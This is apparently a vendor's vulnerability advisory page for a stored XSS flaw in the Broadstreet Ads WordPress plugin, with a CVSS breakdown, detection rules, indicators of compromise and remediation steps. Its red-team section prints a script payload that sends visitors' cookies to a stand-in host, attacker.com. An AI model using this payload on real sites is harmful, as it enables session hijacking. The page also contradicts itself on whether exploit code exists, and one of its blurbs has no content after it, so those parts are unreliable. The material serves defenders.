CVE-2025-48113
Executive Summary
CVE-2025-48113 is a Stored Cross-Site Scripting (XSS) vulnerability in the Broadstreet Ads WordPress plugin, affecting versions up to and including 1.51.2. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then executed in the browsers of other users. The flaw stems from improper neutralization of user-supplied input during web page generation. Given that this is a WordPress plugin, the attack surface is directly tied to the WordPress ecosystem, not the underlying web server software. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch makes it a persistent risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. Since the plugin is unmaintained and no patch is available, the supply chain risk is elevated. Site administrators should consider this plugin as a potential vector for supply chain attacks if they rely on it for ad management.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
- User Interaction: Required (UI:R) – The victim must click a link or visit a page containing the malicious payload.
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited ability to modify content.
- Availability Impact: None (A:N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to lead to session hijacking or defacement elevates the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the Broadstreet Ads plugin, which is used to display advertisements on WordPress sites. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it on web pages. This allows an attacker to inject arbitrary HTML and JavaScript code.
Attack Flow:
- An attacker identifies a vulnerable input field (e.g., ad title, description, or custom parameters) within the plugin's admin interface or a front-end form.
- The attacker submits a payload containing malicious JavaScript, such as
<script>alert('XSS')</script>. - The plugin stores this payload in the WordPress database without proper sanitization.
- When a victim (e.g., a site administrator or visitor) views a page that renders the stored data, the malicious script executes in their browser.
- The attacker can then steal cookies, redirect users, deface the site, or perform other malicious actions.
The root cause is the use of functions like echo or print without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()).
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (Example):
// In a template file or shortcode handler
echo $ad_title; // Direct output without sanitization
Patched Code (Hypothetical):
// Properly escape output
echo esc_html( $ad_title ); // Escapes HTML entities
The patched version uses esc_html() to convert special characters like <, >, &, ", and ' into their HTML entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Broadstreet Ads plugin version <= 1.51.2.
- Access to a form or admin panel that accepts user input (e.g., ad creation).
Exploitation Steps:
- Identify an input field that is not sanitized. Common targets include ad title, description, or custom CSS/JS fields.
- Inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form. The payload is stored in the database.
- When an administrator or visitor views the page containing the ad, the script executes, exfiltrating cookies to the attacker's server.
Note: No public exploit code is available for this CVE. The above is a generic XSS exploitation technique.
Blue Team (Defensive)
Detection Steps:
- Monitor web application logs for unusual input patterns, such as
<script>tags or JavaScript event handlers (e.g.,onload,onerror). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Regularly scan the WordPress database for stored malicious content using security plugins like Wordfence or Sucuri.
- Implement Content Security Policy (CSP) headers to mitigate the impact of XSS even if a payload is injected.
Lab Setup:
- Use a local WordPress installation with the vulnerable plugin.
- Simulate an attack by injecting a benign payload (e.g.,
<script>alert('Test')</script>). - Verify detection by checking logs and WAF alerts.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - Unusual referrer headers from the WordPress admin panel.
- Outbound HTTP requests to unknown or suspicious domains containing cookie data (e.g.,
- File IOCs:
- Modified plugin files (e.g.,
broadstreet-ads/broadstreet-ads.php) containing injected JavaScript.
- Modified plugin files (e.g.,
- Database IOCs:
- Entries in the
wp_postsorwp_optionstables containing<script>tags or JavaScript event handlers.
- Entries in the
- Behavioral IOCs:
- Unexpected redirects or pop-ups on the WordPress site.
- Unauthorized changes to site content or user roles.
Detection Engineering
YARA Rule
rule CVE_2025_48113_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Broadstreet Ads plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48113"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Broadstreet Ads Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attacks targeting the Broadstreet Ads WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-content/plugins/broadstreet-ads/'
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of JavaScript in ad content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48113 Stored XSS in Broadstreet Ads"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations. Navigate to
Plugins > Installed Pluginsand deactivate "Broadstreet Ads". - Remove the plugin entirely to prevent any residual code execution.
- Scan the WordPress database for any stored XSS payloads using a security plugin or manual SQL queries.
Long-Term Mitigation:
- Since no patch is available, consider migrating to an alternative ad management plugin that is actively maintained and has a good security track record.
- Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit all installed plugins for vulnerabilities using tools like WPScan.
Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.